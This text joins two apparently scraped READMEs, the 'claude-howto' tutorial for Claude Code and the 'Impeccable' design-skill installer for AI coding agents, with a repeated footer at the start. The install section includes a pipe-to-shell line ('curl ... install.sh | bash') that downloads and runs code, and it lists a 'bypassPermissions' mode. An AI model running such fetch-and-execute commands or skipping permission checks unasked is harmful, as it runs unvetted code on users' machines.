See scripts/README.md for more options.
\nFound an issue or want to contribute an example? We'd love your help!
\nPlease read CONTRIBUTING.md for detailed guidelines on:
\nOur Community Standards:
\nIf you discover a security vulnerability, please report it responsibly:
\nQuick start:
\nadd/feature-name, fix/bug, docs/improvement)Need help? Open an issue or discussion, and we'll guide you through the process.
\nWe welcome contributions! Please see our Contributing Guide for details on how to get started.
\nMIT License - see LICENSE. Free to use, modify, and distribute. The only requirement is including the license notice.
\nLast Updated: October 18, 2026 Claude Code Version: 2.1.302 Sources:
\nA visual, example-driven guide to Claude Code \u2014 from basic concepts to advanced agents, with copy-paste templates that bring immediate value.
http://luongnv.com/claude-howto/
\n \n
\ud83c\udf10 Language / Ng\u00f4n ng\u1eef / \u8bed\u8a00 / \u041c\u043e\u0432\u0430: English | Ti\u1ebfng Vi\u1ec7t | \u4e2d\u6587 | \u0423\u043a\u0440\u0430\u0457\u043d\u0441\u044c\u043a\u0430 | \u65e5\u672c\u8a9e
\nGo from typing claude to orchestrating agents, hooks, skills, and MCP servers \u2014 with visual tutorials, copy-paste templates, and a guided learning path.
Get Started in 15 Minutes | Find Your Level | Browse the Feature Catalog
\nYou installed Claude Code. You ran a few prompts. Now what?
\nYou're leaving 90% of Claude Code's power on the table \u2014 and you don't know what you don't know.
\nThis isn't another feature reference. It's a structured, visual, example-driven guide that teaches you to use every Claude Code feature with real-world templates you can copy into your project today.
\n| \n | Official Docs | \nThis Guide | \n
|---|---|---|
| Format | \nReference documentation | \nVisual tutorials with Mermaid diagrams | \n
| Depth | \nFeature descriptions | \nHow it works under the hood | \n
| Examples | \nBasic snippets | \nProduction-ready templates you use immediately | \n
| Structure | \nFeature-organized | \nProgressive learning path (beginner to advanced) | \n
| Onboarding | \nSelf-directed | \nGuided roadmap with time estimates | \n
| Self-Assessment | \nNone | \nInteractive quizzes to find your gaps and build a personalized path | \n
/self-assessment or /lesson-quiz hooks directly in Claude Code to identify gapsTake the self-assessment quiz or run /self-assessment in Claude Code. Get a personalized roadmap based on what you already know.
Work through 10 modules in order \u2014 each builds on the last. Copy templates directly into your project as you learn.
\nThe real power is in combining features. Learn to wire slash commands + memory + subagents + hooks into automated pipelines that handle code reviews, deployments, and documentation generation.
\nRun /lesson-quiz [topic] after each module. The quiz pinpoints what you missed so you can fill gaps fast.
Take the self-assessment or pick your level:
\n| Level | \nYou can... | \nStart here | \nTime | \n
|---|---|---|---|
| Beginner | \nStart Claude Code and chat | \nSlash Commands | \n~2.5 hours | \n
| Intermediate | \nUse CLAUDE.md and custom commands | \nSkills | \n~3.5 hours | \n
| Advanced | \nConfigure MCP servers and hooks | \nAdvanced Features | \n~5 hours | \n
Full learning path with all 10 modules:
\n| Order | \nModule | \nLevel | \nTime | \n
|---|---|---|---|
| 1 | \nSlash Commands | \nBeginner | \n30 min | \n
| 2 | \nMemory | \nBeginner+ | \n45 min | \n
| 3 | \nCheckpoints | \nIntermediate | \n45 min | \n
| 4 | \nCLI Basics | \nBeginner+ | \n30 min | \n
| 5 | \nSkills | \nIntermediate | \n1 hour | \n
| 6 | \nHooks | \nIntermediate | \n1 hour | \n
| 7 | \nMCP | \nIntermediate+ | \n1 hour | \n
| 8 | \nSubagents | \nIntermediate+ | \n1.5 hours | \n
| 9 | \nAdvanced Features | \nAdvanced | \n2-3 hours | \n
| 10 | \nPlugins | \nAdvanced | \n2 hours | \n
\n\nInstallation note: Starting in v2.1.113, Claude Code ships as a native per-platform binary (macOS/Linux/Windows). The recommended install is the native installer (
\ncurl -fsSL https://claude.ai/install.sh | bash); npm installation is deprecated in the official README; prefer the native installer, Homebrew (brew install --cask claude-code) or WinGet (winget install Anthropic.ClaudeCode). For reference,npm install -g @anthropic-ai/claude-codepulls the same native binary through a per-platform optional dependency at install time. As of v2.1.116, downloads come fromhttps://downloads.claude.ai/claude-code-releases\u2014 corporate proxies must allowlist this host.
# 1. Clone the guide\ngit clone https://github.com/luongnv89/claude-howto.git\ncd claude-howto\n\n# 2. Copy your first slash command\nmkdir -p /path/to/your-project/.claude/commands\ncp 01-slash-commands/optimize.md /path/to/your-project/.claude/commands/\n\n# 3. Try it \u2014 in Claude Code, type:\n# /optimize\n\n# 4. Ready for more? Set up project memory:\ncp 02-memory/project-CLAUDE.md /path/to/your-project/CLAUDE.md\n\n# 5. Install a skill:\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\nWant the full setup? Here's the 1-hour essential setup:
\n# Slash commands (15 min)\ncp 01-slash-commands/*.md .claude/commands/\n\n# Project memory (15 min)\ncp 02-memory/project-CLAUDE.md ./CLAUDE.md\n\n# Install a skill (15 min)\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Weekend goal: add hooks, subagents, MCP, and plugins\n# Follow the learning path for guided setup\nView the Full Installation Reference
\n| Use Case | \nFeatures You'll Combine | \n
|---|---|
| Automated Code Review | \nSlash Commands + Subagents + Memory + MCP | \n
| Team Onboarding | \nMemory + Slash Commands + Plugins | \n
| CI/CD Automation | \nCLI Reference + Hooks + Background Tasks | \n
| Documentation Generation | \nSkills + Subagents + Plugins | \n
| Security Audits | \nSubagents + Skills + Hooks (read-only mode) | \n
| DevOps Pipelines | \nPlugins + MCP + Hooks + Background Tasks | \n
| Complex Refactoring | \nCheckpoints + Planning Mode + Hooks | \n
Is this free? Yes. MIT licensed, free forever. Use it in personal projects, at work, in your team \u2014 no restrictions beyond including the license notice.
\nIs this maintained? Actively. The guide is synced with every Claude Code release. Current version: v2.1.302 (October 2026), compatible with Claude Code 2.1+.
\nHow is this different from the official docs? The official docs are a feature reference. This guide is a tutorial with diagrams, production-ready templates, and a progressive learning path. They complement each other \u2014 start here to learn, reference the docs when you need specifics.
\nHow long does it take to go through everything? 11-13 hours for the full path. But you'll get immediate value in 15 minutes \u2014 just copy a slash command template and try it.
\nCan I use this with Claude Sonnet / Haiku / Opus? Yes. All templates work with Claude Fable 5.1, Claude Fable 5, Claude Opus 5.5, Claude Opus 5, Claude Sonnet 5.5, Claude Sonnet 5, Claude Sonnet 4.6, Claude Opus 4.8, Claude Haiku 5.5, and Claude Haiku 4.5.
\nCan I contribute? Absolutely. See CONTRIBUTING.md for guidelines. We welcome new examples, bug fixes, documentation improvements, and community templates.
\nCan I read this offline? Yes. Run uv run scripts/build_epub.py to generate an EPUB ebook with all content and rendered diagrams.
You already have Claude Code installed. The only thing between you and 10x productivity is knowing how to use it. This guide gives you the structured path, the visual explanations, and the copy-paste templates to get there.
\nMIT licensed. Free forever. Clone it, fork it, make it yours.
\nStart the Learning Path -> | Browse the Feature Catalog | Get Started in 15 Minutes
\n| Feature | \nDescription | \nFolder | \n
|---|---|---|
| Feature Catalog | \nComplete reference with installation commands | \nCATALOG.md | \n
| Slash Commands | \nUser-invoked shortcuts | \n01-slash-commands/ | \n
| Memory | \nPersistent context | \n02-memory/ | \n
| Skills | \nReusable capabilities | \n03-skills/ | \n
| Subagents | \nSpecialized AI assistants | \n04-subagents/ | \n
| MCP Protocol | \nExternal tool access | \n05-mcp/ | \n
| Hooks | \nEvent-driven automation | \n06-hooks/ | \n
| Plugins | \nBundled features | \n07-plugins/ | \n
| Checkpoints | \nSession snapshots & rewind | \n08-checkpoints/ | \n
| Advanced Features | \nPlanning, thinking, background tasks | \n09-advanced-features/ | \n
| CLI Reference | \nCommands, flags, and options | \n10-cli/ | \n
| Blog Posts | \nReal-world usage examples | \nBlog Posts | \n
| Feature | \nInvocation | \nPersistence | \nBest For | \n
|---|---|---|---|
| Slash Commands | \nManual (/cmd) | \n Session only | \nQuick shortcuts | \n
| Memory | \nAuto-loaded | \nCross-session | \nLong-term learning | \n
| Skills | \nAuto-invoked | \nFilesystem | \nAutomated workflows | \n
| Subagents | \nAuto-delegated | \nIsolated context | \nTask distribution | \n
| MCP Protocol | \nAuto-queried | \nReal-time | \nLive data access | \n
| Hooks | \nEvent-triggered | \nConfigured | \nAutomation & validation | \n
| Plugins | \nOne command | \nAll features | \nComplete solutions | \n
| Checkpoints | \nManual/Auto | \nSession-based | \nSafe experimentation | \n
| Planning Mode | \nManual/Auto | \nPlan phase | \nComplex implementations | \n
| Background Tasks | \nManual | \nTask duration | \nLong-running operations | \n
| CLI Reference | \nTerminal commands | \nSession/Script | \nAutomation & scripting | \n
# Slash Commands\ncp 01-slash-commands/*.md .claude/commands/\n\n# Memory\ncp 02-memory/project-CLAUDE.md ./CLAUDE.md\n\n# Skills\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Subagents\ncp 04-subagents/*.md .claude/agents/\n\n# MCP\nclaude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header \"Authorization: Bearer YOUR_GITHUB_PAT\"\n\n# Hooks\nmkdir -p ~/.claude/hooks\ncp 06-hooks/*.sh ~/.claude/hooks/\nchmod +x ~/.claude/hooks/*.sh\n\n# Plugins (load a local plugin from the repo root)\nclaude --plugin-dir ./07-plugins/pr-review\n\n# Checkpoints (auto-enabled, configure in settings)\n# See 08-checkpoints/README.md\n\n# Advanced Features (configure in settings)\n# See 09-advanced-features/config-examples.json\n\n# CLI Reference (no installation needed)\n# See 10-cli/README.md for usage examples\nLocation: 01-slash-commands/
\nWhat: User-invoked shortcuts stored as Markdown files
\nExamples:
\noptimize.md - Code optimization analysispr.md - Pull request preparationgenerate-api-docs.md - API documentation generatorInstallation:
\ncp 01-slash-commands/*.md /path/to/project/.claude/commands/\nUsage:
\n/optimize\n/pr\n/generate-api-docs\nLearn More: Discovering Claude Code Slash Commands
\nLocation: 02-memory/
\nWhat: Persistent context across sessions
\nExamples:
\nproject-CLAUDE.md - Team-wide project standardsdirectory-api-CLAUDE.md - Directory-specific rulespersonal-CLAUDE.md - Personal preferencesInstallation:
\n# Project memory\ncp 02-memory/project-CLAUDE.md /path/to/project/CLAUDE.md\n\n# Directory memory\ncp 02-memory/directory-api-CLAUDE.md /path/to/project/src/api/CLAUDE.md\n\n# Personal memory\ncp 02-memory/personal-CLAUDE.md ~/.claude/CLAUDE.md\nUsage: Automatically loaded by Claude
\nLocation: 03-skills/
\nWhat: Reusable, auto-invoked capabilities with instructions and scripts
\nExamples:
\ncode-review-specialist/ - Comprehensive code review with scriptsbrand-voice/ - Brand voice consistency checkerdoc-generator/ - API documentation generatorInstallation:
\n# Personal skills\ncp -r 03-skills/code-review-specialist ~/.claude/skills/\n\n# Project skills\ncp -r 03-skills/code-review-specialist /path/to/project/.claude/skills/\nUsage: Automatically invoked when relevant
\nLocation: 04-subagents/
\nWhat: Specialized AI assistants with isolated contexts and custom prompts
\nExamples:
\ncode-reviewer.md - Comprehensive code quality analysistest-engineer.md - Test strategy and coveragedocumentation-writer.md - Technical documentationsecure-reviewer.md - Security-focused review (read-only)implementation-agent.md - Full feature implementationInstallation:
\ncp 04-subagents/*.md /path/to/project/.claude/agents/\nUsage: Automatically delegated by main agent
\nLocation: 05-mcp/
\nWhat: Model Context Protocol for accessing external tools and APIs
\nExamples:
\ngithub-mcp.json - GitHub integrationdatabase-mcp.json - Database queriesfilesystem-mcp.json - File operationsmulti-mcp.json - Multiple MCP serversInstallation:
\n# Set environment variables\nexport DATABASE_URL=\"postgresql://...\"\n\n# Add MCP server via CLI\nclaude mcp add --transport http github https://api.githubcopilot.com/mcp/ --header \"Authorization: Bearer YOUR_GITHUB_PAT\"\n\n# Or add to project .mcp.json manually (see 05-mcp/ for examples)\nUsage: MCP tools are automatically available to Claude once configured
\nLocation: 06-hooks/
\nWhat: Event-driven shell commands that execute automatically in response to Claude Code events
\nExamples:
\nformat-code.sh - Auto-format code after writingpre-commit.sh - Run tests before commitssecurity-scan.sh - Scan for security issueslog-bash.sh - Log all bash commandsvalidate-prompt.sh - Validate user promptsnotify-team.sh - Send notifications on eventsInstallation:
\nmkdir -p ~/.claude/hooks\ncp 06-hooks/*.sh ~/.claude/hooks/\nchmod +x ~/.claude/hooks/*.sh\nConfigure hooks in ~/.claude/settings.json:
{\n \"hooks\": {\n \"PostToolUse\": [\n {\n \"matcher\": \"Write\",\n \"hooks\": [\n { \"type\": \"command\", \"command\": \"~/.claude/hooks/format-code.sh\" },\n { \"type\": \"command\", \"command\": \"~/.claude/hooks/security-scan.sh\" }\n ]\n }\n ]\n }\n}\nUsage: Hooks execute automatically on events
\nHook Types (5): command, http, prompt, mcp_tool, agent \u2014 how a hook runs.
Hook Events (33, in 4 categories) \u2014 when it runs:
\nPreToolUse, PostToolUse, PostToolUseFailure, PostToolBatch, PermissionRequest, PermissionDeniedSessionStart, Setup, SessionEnd, Stop, StopFailure, SubagentStart, SubagentStopUserPromptSubmit, UserPromptExpansion, MessageDisplay, TaskCompleted, TaskCreated, TeammateIdle \u2014 TaskCompleted and TaskCreated only fire when the todo tools are enabled, which is available by default only on Claude 3.x models, Opus 4 through 4.7, Sonnet 4 through 4.6, and Haiku 4.5 (CLAUDE_CODE_ENABLE_TODO_TOOLS=1 restores them)ConfigChange, CwdChanged, DirectoryAdded, FileChanged, PreCompact, PostCompact, PreModelSwitch, PostModelSwitch, WorktreeCreate, WorktreeRemove, Notification, InstructionsLoaded, Elicitation, ElicitationResultLocation: 07-plugins/
\nWhat: Bundled collections of commands, agents, MCP, and hooks
\nExamples:
\npr-review/ - Complete PR review workflowdevops-automation/ - Deployment and monitoringdocumentation/ - Documentation generationInstallation:
\n# From the repo root (this repo ships no marketplace, so /plugin install does not apply)\nclaude --plugin-dir ./07-plugins/pr-review\nclaude --plugin-dir ./07-plugins/devops-automation\nclaude --plugin-dir ./07-plugins/documentation\nUsage: Use bundled slash commands and features
\nLocation: 08-checkpoints/
\nWhat: Save conversation state and rewind to previous points to explore different approaches
\nKey Concepts:
\nUsage:
\n# Checkpoints are created automatically with every user prompt\n# To rewind, press Esc twice or use:\n/rewind\n\n# Then choose from six options:\n# 1. Restore code and conversation\n# 2. Restore conversation\n# 3. Restore code\n# 4. Summarize from here\n# 5. Summarize up to here\n# 6. Never mind\nUse Cases:
\nLocation: 09-advanced-features/
\nWhat: Advanced capabilities for complex workflows and automation
\nIncludes:
\nAlt+T / Option+T)manual (config value default), acceptEdits, plan, auto, dontAsk, bypassPermissionsclaude -p \"Run tests and generate report\"/resume, /rename, /fork, /branch, claude -c, claude -r~/.claude/settings.jsonSee config-examples.json for complete configurations.
\nLocation: 10-cli/
\nWhat: Complete command-line interface reference for Claude Code
\nQuick Examples:
\n# Interactive mode\nclaude \"explain this project\"\n\n# Print mode (non-interactive)\nclaude -p \"review this code\"\n\n# Process file content\ncat error.log | claude -p \"explain this error\"\n\n# JSON output for scripts\nclaude -p --output-format json \"list functions\"\n\n# Resume session\nclaude -r \"feature-auth\" \"continue implementation\"\nUse Cases: CI/CD pipeline integration, script automation, batch processing, multi-session workflows, custom agent configurations
\n# Uses: Slash Commands + Subagents + Memory + MCP\n\nUser: /review-pr\n\nClaude:\n1. Loads project memory (coding standards)\n2. Fetches PR via GitHub MCP\n3. Delegates to code-reviewer subagent\n4. Delegates to test-engineer subagent\n5. Synthesizes findings\n6. Provides comprehensive review\n# Uses: Skills + Subagents + Memory\n\nUser: \"Generate API documentation for the auth module\"\n\nClaude:\n1. Loads project memory (doc standards)\n2. Detects doc generation request\n3. Auto-invokes doc-generator skill\n4. Delegates to api-documenter subagent\n5. Creates comprehensive docs with examples\n# Uses: Plugins + MCP + Hooks\n\nUser: /deploy production\n\nClaude:\n1. Runs pre-deploy hook (validates environment)\n2. Delegates to deployment-specialist subagent\n3. Executes deployment via Kubernetes MCP\n4. Monitors progress\n5. Runs post-deploy hook (health checks)\n6. Reports status\n\u251c\u2500\u2500 01-slash-commands/\n\u2502 \u251c\u2500\u2500 optimize.md\n\u2502 \u251c\u2500\u2500 pr.md\n\u2502 \u251c\u2500\u2500 generate-api-docs.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 02-memory/\n\u2502 \u251c\u2500\u2500 project-CLAUDE.md\n\u2502 \u251c\u2500\u2500 directory-api-CLAUDE.md\n\u2502 \u251c\u2500\u2500 personal-CLAUDE.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 03-skills/\n\u2502 \u251c\u2500\u2500 code-review-specialist/\n\u2502 \u2502 \u251c\u2500\u2500 SKILL.md\n\u2502 \u2502 \u251c\u2500\u2500 scripts/\n\u2502 \u2502 \u2514\u2500\u2500 templates/\n\u2502 \u251c\u2500\u2500 brand-voice/\n\u2502 \u2502 \u251c\u2500\u2500 SKILL.md\n\u2502 \u2502 \u2514\u2500\u2500 templates/\n\u2502 \u251c\u2500\u2500 doc-generator/\n\u2502 \u2502 \u251c\u2500\u2500 SKILL.md\n\u2502 \u2502 \u2514\u2500\u2500 generate-docs.py\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 04-subagents/\n\u2502 \u251c\u2500\u2500 code-reviewer.md\n\u2502 \u251c\u2500\u2500 test-engineer.md\n\u2502 \u251c\u2500\u2500 documentation-writer.md\n\u2502 \u251c\u2500\u2500 secure-reviewer.md\n\u2502 \u251c\u2500\u2500 implementation-agent.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 05-mcp/\n\u2502 \u251c\u2500\u2500 github-mcp.json\n\u2502 \u251c\u2500\u2500 database-mcp.json\n\u2502 \u251c\u2500\u2500 filesystem-mcp.json\n\u2502 \u251c\u2500\u2500 multi-mcp.json\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 06-hooks/\n\u2502 \u251c\u2500\u2500 format-code.sh\n\u2502 \u251c\u2500\u2500 pre-commit.sh\n\u2502 \u251c\u2500\u2500 security-scan.sh\n\u2502 \u251c\u2500\u2500 log-bash.sh\n\u2502 \u251c\u2500\u2500 validate-prompt.sh\n\u2502 \u251c\u2500\u2500 notify-team.sh\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 07-plugins/\n\u2502 \u251c\u2500\u2500 pr-review/\n\u2502 \u251c\u2500\u2500 devops-automation/\n\u2502 \u251c\u2500\u2500 documentation/\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 08-checkpoints/\n\u2502 \u251c\u2500\u2500 checkpoint-examples.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 09-advanced-features/\n\u2502 \u251c\u2500\u2500 config-examples.json\n\u2502 \u251c\u2500\u2500 planning-mode-examples.md\n\u2502 \u2514\u2500\u2500 README.md\n\u251c\u2500\u2500 10-cli/\n\u2502 \u2514\u2500\u2500 README.md\n\u2514\u2500\u2500 README.md (this file)\nThis project includes comprehensive automated testing:
\n# Install development dependencies\nuv pip install -r scripts/requirements-dev.txt\n\n# Run all unit tests\npytest scripts/tests/ -v\n\n# Run tests with coverage report\npytest scripts/tests/ -v --cov=scripts --cov-report=html\n\n# Run code quality checks\nruff check scripts/\nruff format --check scripts/\n\n# Run security scan\nbandit -c scripts/pyproject.toml -r scripts/ --exclude scripts/tests/\n\n# Run type checking\nmypy scripts/ --ignore-missing-imports\nTests run automatically on every push to main/develop and every PR to main. See TESTING.md for detailed information.
Want to read this guide offline? Generate an EPUB ebook:
\nuv run scripts/build_epub.py\nThis creates claude-howto-guide.epub with all content, including rendered Mermaid diagrams.
See scripts/README.md for more options.
\nFound an issue or want to contribute an example? We'd love your help!
\nPlease read CONTRIBUTING.md for detailed guidelines on:
\nOur Community Standards:
\nIf you discover a security vulnerability, please report it responsibly:
\nQuick start:
\nadd/feature-name, fix/bug, docs/improvement)Need help? Open an issue or discussion, and we'll guide you through the process.
\nWe welcome contributions! Please see our Contributing Guide for details on how to get started.
\nMIT License - see LICENSE. Free to use, modify, and distribute. The only requirement is including the license notice.
\nLast Updated: October 18, 2026 Claude Code Version: 2.1.302 Sources:
\nThe design language that makes your AI harness better at design.
Design guidance for AI coding agents. 1 skill, 24 commands, live browser iteration, and 62 deterministic detector rules for AI-generated frontend design.
\n\n\nQuick start: From your project root, run
\nnpx impeccable install, then run/impeccable initinside your AI coding tool. Full docs: impeccable.style.
Anthropic's frontend-design was the first widely-used design skill for Claude. Impeccable started from there.
\nEvery model trained on the same SaaS templates. Skip the guidance and you get the same handful of tells on every project: Inter for everything, purple-to-blue gradients, cards nested in cards, gray text on colored backgrounds, the rounded-square icon tile above every heading.
\nImpeccable adds:
\n/impeccable init records durable product truth in PRODUCT.md, so later commands know the audience, purpose, operating context, constraints, voice, and evidence without confusing those facts with surface-level visual direction.polish, audit, critique, distill, animate, bolder, quieter, and more.The skill installs as one command:
\n/impeccable <command> <target>\nStart every new project with:
\n/impeccable init\ninit inspects the project, asks only for material gaps in durable product truth, and writes PRODUCT.md. Visitor mode and visual direction are chosen later for each surface; incumbent or newly built visual systems are recorded separately in DESIGN.md.
All commands are accessed through /impeccable:
| Command | \nWhat it does | \n
|---|---|
/impeccable craft | \n Full shape-then-build flow with visual iteration | \n
/impeccable init | \n One-time setup: gather durable product context, write PRODUCT.md, configure live mode when applicable, recommend next steps | \n
/impeccable document | \n Generate root DESIGN.md from existing project code | \n
/impeccable extract | \n Pull reusable components and tokens into the design system | \n
/impeccable shape | \n Plan UX/UI before writing code | \n
/impeccable critique | \n UX design review: hierarchy, clarity, emotional resonance | \n
/impeccable audit | \n Run technical quality checks (a11y, performance, responsive) | \n
/impeccable polish | \n Final pass, design system alignment, and shipping readiness | \n
/impeccable bolder | \n Amplify boring designs | \n
/impeccable quieter | \n Tone down overly bold designs | \n
/impeccable distill | \n Strip to essence | \n
/impeccable harden | \n Error handling, i18n, text overflow, edge cases | \n
/impeccable onboard | \n First-run flows, empty states, activation paths | \n
/impeccable animate | \n Add purposeful motion | \n
/impeccable colorize | \n Introduce strategic color | \n
/impeccable typeset | \n Fix font choices, hierarchy, sizing | \n
/impeccable layout | \n Fix layout, spacing, visual rhythm | \n
/impeccable delight | \n Add moments of joy | \n
/impeccable overdrive | \n Add technically extraordinary effects | \n
/impeccable clarify | \n Improve unclear UX copy | \n
/impeccable adapt | \n Adapt for different devices | \n
/impeccable optimize | \n Performance improvements | \n
/impeccable live | \n Visual variant mode: iterate on elements in the browser | \n
/impeccable generate | \n Generate variants of a named element in the live browser, no manual picking | \n
Use /impeccable pin <command> to create standalone shortcuts (e.g., pin audit creates /audit).
/impeccable audit blog # Audit blog hub + post pages\n/impeccable critique landing # UX design review\n/impeccable polish settings # Final pass before shipping\n/impeccable harden checkout # Add error handling + edge cases\nOr use /impeccable directly with a description:
/impeccable redo this hero section\nThe skill includes explicit guidance on what to avoid:
\nVisit the Neo Mirai case study to see a before/after case study of a real project transformed with Impeccable commands.
\nThe skill needs no runtime of its own. Every skill copy ships a small launcher (scripts/impeccable, plus impeccable.cmd for Windows) that runs the Impeccable engine, a self-contained binary that either sits next to the launcher or is downloaded once on first run into ~/.impeccable/bin/. Node is only involved if you use the npx impeccable installer, which is a shim around the same binary; the manual and Git options below work without it.
From the root of your project, run:
\nnpx impeccable install\nThis shows the harness folders or installed CLIs it detected (for example ~/.claude, ~/.codex, ~/.grok, ~/.hermes, ~/.veto, or project-local .cursor), lets you keep the detected set or customize providers, then asks whether to install into the current project or globally. Use --providers=claude,codex,cursor,grok,hermes,veto and --scope=project|global to skip those choices in scripts. On Claude Code, Cursor, Codex, GitHub Copilot, and Grok Build, it also installs the provider-native hook manifest for the current project. Veto receives the packaged skill under ~/.veto/skills/ and does not run native Impeccable edit hooks. Works with Cursor, Claude Code, Gemini CLI, Codex CLI, Grok Build, Hermes Agent, Veto, and every other supported tool. Reload your harness afterward.
To refresh an existing install, run:
\nnpx impeccable update\nCodex users should open /hooks after install or update and approve the project hook when prompted. Codex tracks trust by hook definition, so updates that change .codex/hooks.json can require approval again. Grok Build users need project folder trust (/hooks-trust or launch with --trust) before .grok/hooks/ scripts run.
See Allow the hook in your harness for harness-specific trust and verification steps.
\nFor teams that want to keep Impeccable vendored and updated through Git, add this repo as a submodule and link the compiled provider build into your harness folders:
\ngit submodule add https://github.com/pbakaus/impeccable .impeccable\nnpx impeccable link --source=.impeccable --providers=claude,cursor\ngit add .gitmodules .impeccable .claude .cursor\ngit commit -m \"Add Impeccable skills\"\nUse the providers your project needs, for example claude, cursor, gemini, codex, github, grok, hermes, opencode, pi, qoder, trae, trae-cn, rovo-dev, vibe, or veto. The command links individual skill folders from .impeccable/dist/universal/ and leaves existing real skill directories untouched unless you pass --force.
To update later:
\ngit submodule update --remote .impeccable\nnpx impeccable link --source=.impeccable --providers=claude,cursor\nGitHub Copilot in VS Code:
\nInstall Impeccable from the Visual Studio Marketplace, or run:
\ncode --install-extension renaissance-geek.impeccable\nRequires VS Code 1.109.3+, Copilot Chat access, and a trusted local workspace. Open Chat in Agent mode and try /impeccable polish. This skill-only extension does not install automatic hooks; avoid a duplicate Impeccable skill in the same workspace/profile. See VS Code distribution details.
Claude Code:
\n/plugin marketplace add pbakaus/impeccable\n\n\nClaude Code only. After adding the marketplace, open
\n/pluginand install Impeccable from the list.
Grok Build:
\ngrok plugin install pbakaus/impeccable#plugin --trust\n\n\nGrok Build only. The
\n#pluginsuffix installs the slim plugin package (skills, agents, and hooks) instead of the full monorepo. Then run/impeccable initin a Grok session. Project-scoped installs vianpx impeccable install --providers=grokalso work and write.grok/skills/plus.grok/hooks/impeccable.json.
Visit impeccable.style, download the ZIP for your tool, and extract to your project.
\nCursor:
\ncp -r dist/cursor/.cursor your-project/\n\n\nNote: Cursor skills require setup:
\n\n
\n \n- Switch to Nightly channel in Cursor Settings \u2192 Beta
\n- Enable Agent Skills in Cursor Settings \u2192 Rules
\n
Claude Code:
\n# Project-specific\ncp -r dist/claude-code/.claude your-project/\n\n# Or global (applies to all projects)\ncp -r dist/claude-code/.claude/* ~/.claude/\nOpenCode:
\ncp -r dist/opencode/.opencode your-project/\nDeepSeek Harness:
\n# Project-specific\ncp -r dist/dsh/.dsh your-project/\n\n# Or global (applies to all projects)\nmkdir -p \"${DSH_HOME:-$HOME/.dsh}/skills\"\ncp -r dist/dsh/.dsh/skills/* \"${DSH_HOME:-$HOME/.dsh}/skills/\"\nThe CLI honors DSH_HOME only when it resolves inside your home directory (or to home itself); otherwise it uses ~/.dsh. An outside-home manual copy is not managed by impeccable install/update.
Hermes Agent:
\n# Global (applies to all projects; uses the active profile, or ~/.hermes by default)\ncp -r dist/hermes/.hermes/skills/* \"${HERMES_HOME:-$HOME/.hermes}/skills/\"\n\n# Or project-specific\ncp -r dist/hermes/.hermes your-project/\n\n\nNote: Hermes gates project-local skills behind a per-repo trust decision (they are procedure documents, so auto-loading them from any cloned repo is treated as a prompt-injection vector). After a project-scoped install, run
\n \nhermes skills trustonce from the project root. Global installs into the active$HERMES_HOME/skills/(or~/.hermes/skills/when unset) load without a trust step./impeccable <command>then routes through the skill's Commands table; the design hook does not install on Hermes (no hook surface).
Pi:
\ncp -r dist/pi/.pi your-project/\nGemini CLI:
\ncp -r dist/gemini/.gemini your-project/\n\n\nNote: Gemini CLI skills require setup:
\n\n
\n \n- Install preview version:
\nnpm i -g @google/gemini-cli@preview- Run
\n/settingsand enable \"Skills\"- Run
\n/skills listto verify installation
Codex CLI:
\n# Project-local\ncp -r dist/agents/.agents your-project/\nmkdir -p your-project/.codex\ncp dist/codex/.codex/hooks.json your-project/.codex/hooks.json\n\n# Or install the skill user-wide. Copy .codex/hooks.json into each project\n# where you want the design hook to run.\nmkdir -p ~/.agents/skills\ncp -r dist/agents/.agents/skills/* ~/.agents/skills/\n\n\nThe asset-producer subagent ships nested inside the skill's own
\nagents/folder, which Codex auto-discovers. No separate.codex/agents/copy is needed. The hook is project-local because Codex discovers hooks from.codex/hooks.jsonnext to trusted project config.
GitHub Copilot:
\ncp -r dist/github/.github your-project/\nTrae:
\n# Trae China (domestic version)\ncp -r dist/trae/.trae-cn/skills/* ~/.trae-cn/skills/\n\n# Trae International\ncp -r dist/trae/.trae/skills/* ~/.trae/skills/\n\n\nNote: Trae has two versions with different config directories:
\n\n
\n- Trae China:
\n~/.trae-cn/skills/- Trae International:
\n~/.trae/skills/After copying, restart Trae IDE to activate the skills.
\n
Rovo Dev:
\n# Project-specific\ncp -r dist/rovo-dev/.rovodev your-project/\n\n# Or global (applies to all projects)\ncp -r dist/rovo-dev/.rovodev/skills/* ~/.rovodev/skills/\nQoder:
\n# Project-specific\ncp -r dist/qoder/.qoder your-project/\n\n# Or global (applies to all projects)\ncp -r dist/qoder/.qoder/skills/* ~/.qoder/skills/\nMistral Vibe:
\n# Project-specific\ncp -r dist/vibe/.vibe your-project/\n\n# Or global (applies to all projects)\ncp -r dist/vibe/.vibe/skills/* ~/.vibe/skills/\nGrok Build:
\n# Project-specific\ncp -r dist/grok/.grok your-project/\n\n# Or global (applies to all projects)\ncp -r dist/grok/.grok/skills/* ~/.grok/skills/\n\n\nPrefer
\nnpx impeccable install --providers=grokorgrok plugin install pbakaus/impeccable#plugin --trustso the design hook installs too. Project hooks need/hooks-trust(or--trust) once per folder.
Google Antigravity:
\n# Project-specific\ncp -r dist/antigravity/.agent your-project/\n\n# Or global (applies to all projects)\nmkdir -p ~/.gemini/config/skills\ncp -r dist/antigravity/.agent/skills/* ~/.gemini/config/skills/\nOnce installed, every command runs through the single /impeccable skill:
/impeccable audit # Find issues\n/impeccable polish # Final cleanup\n/impeccable distill # Remove complexity\n/impeccable critique # Full design review\nType /impeccable alone to see the full command list.
Most commands accept an optional argument to focus on a specific area:
\n/impeccable audit the header\n/impeccable polish the checkout form\nIf you reach for one command often, pin it with /impeccable pin audit to get /audit as a standalone shortcut.
Note: Codex uses skills here, not /prompts: commands. Open /skills or type $impeccable. Repo-local installs live in .agents/skills/; user-wide installs live in ~/.agents/skills/. GitHub Copilot uses .github/skills/. Restart the tool if a newly installed skill does not appear.
